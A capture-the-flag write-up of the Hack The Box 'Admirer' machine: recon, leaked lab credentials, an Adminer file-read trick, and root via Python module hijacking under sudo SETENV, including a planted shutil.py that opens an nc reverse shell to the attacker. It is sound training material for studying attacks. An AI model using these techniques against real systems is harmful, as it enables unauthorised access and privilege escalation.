Post

Hack The Box - Admirer

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.187 admirer.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nmap -sV -sT -sC admirer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-28 07:58 EDT
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.47 seconds

Enumeration (1)

There was no anonymous access for the ftp service on port 21 and we didn’t have any credentials for the ssh service on port 22 so lets move straight to the http service on port 80.

Very nice home page but its not linked to any useful pages. Hmm… Lets check out robots.txt.

Unfortunately, accessing http://admirer.htb/admin-dir/ led to a 403, so I think its time to bust out the directory brute-forcer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ gobuster dir -u http://admirer.htb/admin-dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 12 -k -x .php,.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://admirer.htb/admin-dir
[+] Threads:        12
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/05/28 08:31:50 Starting gobuster
===============================================================
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)

Lets visit them.

http://admirer.htb/admin-dir/contacts.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

http://admirer.htb/admin-dir/credentials.txt:

1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Using the ftp credentials we found, we can go back to the ftp service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ftp admirer.htb
Connected to admirer.htb.
220 (vsFTPd 3.0.3)
Name (admirer.htb:root): ftpuser
331 Please specify the password.
Password: %n?4Wz}R$tTF7
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.

We see 2 files so lets download them and analyse them. The dump.sql contained nothing useful so lets see what’s inside of html.tar.gz

1
2
3
4
5
6
7
8
9
10
11
12
$ tar -xvf html.tar.gz
$ ls -al
total 5188
drwxr-xr-x  6 root root        4096 May 28 08:43 .
drwxr-xr-x 27 root root        4096 Aug 22 05:34 ..
drwxr-x---  6 root www-data    4096 Jun  6  2019 assets
-rw-r--r--  1 root root     5270987 May 28 08:42 html.tar.gz
drwxr-x---  4 root www-data    4096 Dec  2  2019 images
-rw-r-----  1 root www-data    4613 Dec  3  2019 index.php
-rw-r-----  1 root www-data     134 Dec  1  2019 robots.txt
drwxr-x---  2 root www-data    4096 May 28 09:38 utility-scripts
drwxr-x---  2 root www-data    4096 Dec  2  2019 w4ld0s_s3cr3t_d1r

In this folder were 3 interesting files.

1
2
3
4
5
6
7
8
$ index.php
...
                                         <?php
                        $servername = "localhost";
                        $username = "waldo";
                        $password = "]F7jLHw:*G>UPrTo}~A"d6b";
                        $dbname = "admirerdb";
...

Alright, we got one set of credentials. In utility-scripts, there was a admin_tasks.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<html>
<head>
  <title>Administrative Tasks</title>
</head>
<body>
  <h3>Admin Tasks Web Interface (v0.01 beta)</h3>
  <?php
  // Web Interface to the admin_tasks script
  // 
  if(isset($_REQUEST['task']))
  {
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
    {
      /*********************************************************************************** 
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      ************************************************************************************/
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else
    {
      echo("Invalid task.");
    }
  } 
  ?>

  <p>
  <h4>Select task:</p>
  <form method="POST">
    <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    </select>
    <input type="submit">
  </form>
</body>
</html>

If we visit it, this is how it looks:

We can’t inject any arbitrary commands into the shell_exec since the if check is pretty tight. Moving on, there was another file called db_admin.php.

1
2
3
4
5
6
7
8
9
10
$ cat utility-scripts/db_admin.php
...
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);
...
// TODO: Finish implementing this or find a better open source alternative

Cool we found some database credentials but we can’t use them yet. However this page doesn’t exist anymore. Could it have to do with the comment in db_admin.php?

I consulted the forums and people were saying that the name of this box was a hint. I went to google “open source admirer” and I found what they were talking about.

1
2
3
Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.
...
Usage: Just put the file adminer.css alongside adminer.php.

The usage tells us that there is a adminer.php, so lets see if it’s there.

http://admirer.htb/utility-scripts/adminer.php:

Exploitation (1)

We found our next lead! I tested out the credentials we found but they were incorrect :( Maybe the files we found were outdated? Searching online, this version of Adminer (4.6.2) has a vulnerability which allows us to read files on the web server. I followed this guide which allowed to me read index.php on the web server.

First, we will need a SQL server. Fortunately, Kali Linux already comes with MariaDB installed so all we have to do is start it.

1
$ systemctl start mysql

Next, we will need to create a new account and assign privileges to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 39
Server version: 10.3.20-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [(none)]> CREATE USER 'root'@'admirer.htb' IDENTIFIED BY 'toor';
Query OK, 0 rows affected (0.000 sec)
MariaDB [(none)]> GRANT ALL PRIVILEGES ON * . * TO 'root'@'admirer.htb';
Query OK, 0 rows affected (0.000 sec)

Now we can use adminer.php to access our MariaDB server by entering our attacker’s machine IP Address as the Server, root as the username and toor as the password. The database field can be left blank.

We then need to create a new database and new table inside it.

Now, we can proceed to load the contents of index.php into the table we made.

And finally, we can view the contents of index.php.

We can use these new credentials to login to the database on the box but there was only one table which contained nothing useful.

user.txt

Thinking back, there was a ssh service running port 22. Perhaps we can ssh with the credentials?

1
2
3
4
$ ssh waldo@admirer.htb
waldo@admirer.htb's password: &<h5b~yK3F#{PaPB&dA}{H>
waldo@admirer:~$ cat user.txt
a9f7XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

As waldo, we got sudo rights to run /opt/scripts/admin_tasks.sh.

1
2
3
4
5
6
7
waldo@admirer:~$ sudo -l 
[sudo] password for waldo: &<h5b~yK3F#{PaPB&dA}{H>
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

Lets see what’s inside.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

It’s quite long but if we zoom in to the backup_web function, we see that it is running a python script /opt/scripts/backup.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
waldo@admirer:~$ cat /opt/scripts/backup.py
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

This script simply creates a .tar.gz file from the contents of /var/backups/html.

Exploitation (2)

Hmm… How does the SETENV in the sudo rights come into place? With SETENV, we are able to set/modify environment variables when running the script with sudo. For example, I can do this: sudo x=something /opt/scripts/admin_tasks.sh and the script will run with the environment variable x set to something.

Since we know that the script executes make_archive from the shutil module, what we can do is create a fake shutil module with a fake make_archive function and modify the $PYTHONPATH variable to point to the location of our fake module and run the script! The $PYTHONPATH contains a list of additional directories where Python looks for modules for importing.

1
2
3
4
5
6
waldo@admirer:~$ cat shutil.py
import os

def make_archive(a,b,c):
    os.system("nc 10.10.XX.XX 1337 -e /bin/bash")

Now, all we have to do is run admin_task.sh.

1
2
3
4
5
6
7
8
9
10
11
12
13
waldo@admirer:/tmp$ sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...

root.txt

And on our listener we prepared beforehand,

1
2
3
4
5
6
7
$ nv -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.187] 56858
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
5049XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.